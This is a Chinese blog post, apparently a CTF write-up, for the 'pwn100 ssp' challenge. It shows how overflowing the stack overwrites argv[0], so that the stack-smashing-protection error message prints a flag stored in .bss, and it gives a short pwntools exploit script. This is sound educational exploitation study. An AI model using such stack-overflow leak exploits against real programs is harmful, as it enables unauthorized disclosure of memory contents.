pwn100 ssp

ssp–利用栈溢出保护来泄露内存

这payload贼短。。

题目链接:ssp

Stack-smashing Protection (SSP,又名 ProPolice),是在函数的栈底插入一个随机数,这个随机数在函数调用结束后会被检测,如果与预设的不同,就会直接退出程序并打印如下的错误提示:

    *** stack smashing detected ***: ./pwn100 terminated
    Aborted (core dumped)

其中,./pwn100 是main函数的第一个参数,而这个值在这一题中是可以被覆盖的,而正好这题的flag是被读入了内存,存在一个全局变量里,所以我们可以把main函数的第一个参数覆盖为存有flag的全局变量在.bss段的地址,在打印错误信息时泄露出来:

    from pwn import *
    bss = 0x0600DC0
    io = process("./pwn100")

    payload = ""
    payload += p64(bss) * 0x40
    io.send(payload)

    io.interactive()

可以动态调试这个payload,跟进报错的函数

___stack_chk_fail

来看参数如何传递并打印,据说CSAPP这本书的第8章有讲main函数参数在栈上的布局,我去看看,以后补发。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值